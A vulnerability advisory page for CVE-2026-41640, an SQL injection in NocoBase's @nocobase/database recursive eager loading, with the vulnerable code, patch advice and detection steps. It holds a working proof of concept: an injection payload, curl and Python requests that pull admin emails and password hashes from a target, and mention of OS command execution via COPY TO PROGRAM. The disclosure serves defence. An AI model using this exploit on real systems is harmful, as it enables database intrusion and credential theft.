CVE-2026-41640 is a high-severity (CVSS 7.5) SQL Injection vulnerability in @nocobase/database. A fix is available for @nocobase/database — see the affected versions and patch details below.
NocoBase Vulnerable to SQL Injection via String Concatenation in Recursive Eager Loading
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41640.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@nocobase/databasenpmDescription
Summary
The queryParentSQL() function in the core database package constructs a recursive CTE query by joining nodeIds with string concatenation instead of using parameterized queries. The nodeIds array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.
Affected component: @nocobase/database (core)
Affected versions: <= 2.0.32 (confirmed)
Minimum privilege: Any user with record-creation permission on a tree collection with string-type primary keys
Vulnerable Code
packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84
const queryParentSQL = (options: {
db: Database;
nodeIds: any[];
collection: Collection;
foreignKey: string;
targetKey: string;
}) => {
const { collection, db, nodeIds } = options;
const tableName = collection.quotedTableName();
const { foreignKey, targetKey } = options;
const foreignKeyField = collection.model.rawAttributes[foreignKey].field;
const targetKeyField = collection.model.rawAttributes[targetKey].field;
const queryInterface = db.sequelize.getQueryInterface();
const q = queryInterface.quoteIdentifier.bind(queryInterface);
return `WITH RECURSIVE cte AS (
SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}
FROM ${tableName}
WHERE ${q(targetKeyField)} IN ('${nodeIds.join("','")}') // <-- INJECTION
UNION ALL
SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}
FROM ${tableName} AS t
INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}
)
SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;
};
This function is called at line 384 when a BelongsTo association has recursively: true and instances exist:
// eager-loading-tree.ts:382-395
if (node.includeOption.recursively && instances.length > 0) {
const targetKey = association.targetKey;
const sql = queryParentSQL({
db: this.db, collection, foreignKey, targetKey,
nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows
});
const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });
}
PoC
The payload keeps the CTE syntactically valid by injecting a third UNION ALL branch. The closing ') from the original template literal completes the injected WHERE clause, and the remaining UNION ALL ... INNER JOIN ... SELECT ... FROM cte lines stay intact.
Injection ID value:
root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1
Generated SQL (3 valid UNION ALL branches):
WITH RECURSIVE cte AS (
SELECT "id", "parentId" FROM "table"
WHERE "id" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')
UNION ALL
SELECT t."id", t."parentId" FROM "table" AS t INNER JOIN cte ON t."id" = cte."parentId"
) SELECT "id" AS "id", "parentId" AS "parentId" FROM cte
The CAST-to-integer triggers a runtime error whose message contains the subquery result.
TOKEN="<jwt_token>"
# 1. Create tree collection with string PKs
curl -s http://TARGET:13000/api/collections:create \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"vuln_tree","tree":"adjacencyList","fields":[
{"name":"id","type":"string","primaryKey":true,"interface":"input"},
{"name":"title","type":"string","interface":"input"},
{"name":"parent","type":"belongsTo","target":"vuln_tree","foreignKey":"parentId","targetKey":"id","treeParent":true},
{"name":"children","type":"hasMany","target":"vuln_tree","foreignKey":"parentId","sourceKey":"id","treeChildren":true}
]}'
# 2. Create safe root
curl -s http://TARGET:13000/api/vuln_tree:create \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"id":"root","title":"Root"}'
# 3. Create injection parent — error-based extraction of admin email
python3 -c "
import requests, json
headers = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}
payload_id = \"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\"
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
json={'id': payload_id, 'title': 'x'})
requests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,
json={'id': 'child', 'title': 'c', 'parentId': payload_id})
r = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,
params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})
print(json.dumps(r.json(), indent=2))
"
# Returns: 500 {"errors":[{"message":"invalid input syntax for type integer: \"[email protected]\""}]}
# ^^^^^^^^^^^^^^^^^^^^^^^
# Exfiltrated data in error message
Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):
| Subquery | Extracted Value |
|---|---|
SELECT version() | PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu... |
SELECT current_database() | nocobase |
SELECT email FROM users ORDER BY id LIMIT 1 | [email protected] |
SELECT password FROM users ORDER BY id LIMIT 1 | 006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38 |
| `SELECT string_agg(email||':' |
Impact
- Confidentiality: Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).
- Integrity: Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.
- Availability: Resource-exhaustive queries or destructive DDL.
- Scope change: On PostgreSQL with superuser,
COPY ... TO PROGRAMachieves OS command execution. - Blast radius: Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in
plugin-field-sort/src/server/sort-field.ts:124.
Fix Suggestion
-
Use parameterized queries. Replace the string concatenation with bind parameters:
const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(','); const sql = `WITH RECURSIVE cte AS ( SELECT ${q(targetKeyField)}, ${q(foreignKeyField)} FROM ${tableName} WHERE ${q(targetKeyField)} IN (${placeholders}) UNION ALL ... ) SELECT ... FROM cte`; return { sql, bind: nodeIds };Then call
db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction }). -
Apply the same fix to
plugin-field-sort/src/server/sort-field.ts:124, which has an identical concatenation pattern withfilteredScopeValue. -
Validate primary key values at record creation time. Reject or escape values containing SQL metacharacters (
',",;,--) in string-type primary key fields.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nocobase/database | all versions | 2.0.39npm install @nocobase/database@2.0.39 |
Affected Products
nocobasenocobaseDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nocobase/database, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @nocobase/database to 2.0.39 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41640 is resolved across your whole dependency graph.
Workarounds
Until you can upgrade, make sure every query built from user input uses parameterised statements or a prepared-statement API rather than string concatenation, and reduce the database account's privileges so an injected query cannot read or alter data beyond what the feature needs.
How to detect CVE-2026-41640
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2026-41640 -u https://target- Template
- NocoBase - SQL Injection
- Severity
- high
- Remediation
- Upgrade NocoBase to version 2.0.39 or later which uses parameterized bind variables instead of string concatenation in recursive eager loading queries.
Template by ProjectDiscovery nuclei-templates (theamanrawat), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2026-41640 in your dependencies?
Find it across npm, including transitive dependencies.